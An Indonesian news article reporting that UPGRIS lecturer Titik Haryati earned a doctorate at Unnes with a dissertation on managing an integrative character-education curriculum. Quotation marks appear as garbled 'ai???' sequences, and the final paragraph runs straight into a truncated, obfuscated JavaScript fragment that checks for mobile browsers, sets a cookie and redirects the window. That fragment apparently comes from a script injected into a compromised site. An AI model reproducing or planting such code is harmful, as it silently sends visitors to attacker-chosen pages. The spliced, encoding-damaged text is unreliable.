Belum seluruh program studi (prodi) yang ada di perguruan tinggi (PT) sesuai dengan standar nasional pendidikan tinggi (SNPT) pada Permenristek Dikti No 44/2015.
Hal itu disampaikan oleh dosen Universitas PGRI Semarang (UPGRIS) Titik Haryati ketika menjawab pertanyaan dari penguji pada sidang terbuka promosi doktor kependidikan Prodi Manajemen Pendidikan Program Pascasarjana (PPs) Universitas Negeri Semarang (Unnes).
Khususnya Pasal 1 ayat 6 yang menyatakan bahwa kurikulum adalah seperangkat rencana dan pengaturan mengenai capaian pembelajaran lulusan, bahan kajian, proses, dan penilaian yang digunakan sebagai pedoman penyelenggaraan program studi. ai???Karena kondisi itu, kurikulum antarprodi muatannya beragam.
Khususnya pada pendidikan karakter yang mana pada tiap-tiap prodi memiliki perbedaan. Dari kondisi tersebut dan sesuai dengan penelitian yang saya lakukan, saya menilai perlu penelitian pengembangan pendidikan karakter yang sudah ada, dengan harapan dapat melengkapi penelitian-penelitian terdahulu,ai??? paparnya kemarin.
Melalui disertasi berjudul ai???Pengembangan Model Pengelolaan Kurikulum Pendidikan Karakter Integratif di LPTK Prodi PPKnai??? itu, dia mengatakan bahwa pengelolaan kurikulum pendidikan karakter harus menyatu melalui pengelolaan yang tepat. Dengan begitu, antara dosen dan mahasiswa akan lebih mudah dalam pembentukan karakter pada setiap pembelajaran yang dilakukan.
ai???Jadi, jika semakin banyak pendidikan karakter yang terintegratif pada tiap mata kuliah, dosen akan terlibat pada pembentukan karakter mahasiswa. Hal itu akan berbanding lurus dengan mudahnya membentuk kehidupan kampus yang berkarakter. Jika sudah demikian, tentu harapannya akan lahir calon-calon guru yang juga berkarakter,ai??? katanya.
Titik menyampaikan, hasil penelitian yang dilakukan diharap dapat diterapkan pada lingkungan kampus. Khususnya pada Program Studi PPKn di LPTK dengan model Pengelolaan Kurikulum Pendidikan Karakter Integratif (PKPKI).
ai???Di antaranya melalui regulasi yang mewajibkan setiap dosen melaksanakan pendidikan karakter integratif melalui mata kuliah yang diampu, mulai dari merencanakan sampai dengan melakukan evaluasi pembelajaran,ai??? kata Titik, yang dinyatakan berhasil meraih gelar doktor dengan predikat sangat memuaskan.
Rektor UPGRIS Dr Muhdi SH MHum menyambut baik dengan raihan gelar doktor oleh Titik. Dia berharap ilmu yang diperolehnya dapat dimanfaatkan untuk peningkatan kompetensi pembelajaran di Kampus UPGRIS. ai???Dengan capaian doktor Bu Titik ini, menambah jumlah dosen di kampus kami yang bergelar doktor menjadi 39 orang,ai??? ungkapnya. 1|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}